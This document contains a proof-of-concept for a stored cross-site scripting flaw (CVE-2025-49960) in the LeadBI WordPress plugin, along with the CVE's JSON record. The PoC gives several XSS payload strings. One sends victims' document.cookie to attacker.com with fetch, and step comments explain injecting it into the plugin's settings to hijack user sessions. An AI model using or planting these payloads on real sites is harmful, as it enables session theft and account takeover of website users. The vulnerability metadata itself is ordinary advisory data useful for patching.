CVE-2025-49960

// CVE-2025-49960 Stored XSS PoC for LeadBI Plugin for WordPress // This PoC demonstrates how to inject malicious JavaScript code // Step 1: Identify the vulnerable input field in LeadBI plugin // The vulnerability exists in the LeadBI tracking script injection point // Step 2: Inject the XSS payload // The payload should be submitted through the plugin's user input field // Example malicious payload: var xssPayload = '<script>alert(String.fromCharCode(67,86,69,45,50,48,50,53,45,52,57,57,54,48));</script>'; // Or using event handlers to bypass filters: var xssPayload2 = '<img src=x onerror=alert("CVE-2025-49960")>'; // More advanced payload for cookie stealing: var stealCookiePayload = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie);</script>'; // Step 3: When the page containing the payload is visited, the script executes // The injected JavaScript code will run in the victim's browser context // Step 4: Attacker's server receives the stolen cookies/sensitive data // Attacker can then use the stolen session to hijack user accounts // Recommended testing steps: // 1. Install LeadBI Plugin for WordPress version <= 1.7 // 2. Navigate to the plugin's settings or tracking configuration page // 3. Inject the XSS payload in any text input field // 4. Save the settings and visit the page where the content is displayed // 5. Observe the JavaScript execution in the browser console

{"cve": {"id": "CVE-2025-49960", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:42.720", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in leadbi LeadBI Plugin for WordPress leadbi allows Stored XSS.This issue affects LeadBI Plugin for WordPress: from n/a through <= 1.7."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/leadbi/vulnerability/wordpress-leadbi-plugin-for-wordpress-plugin-1-7-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}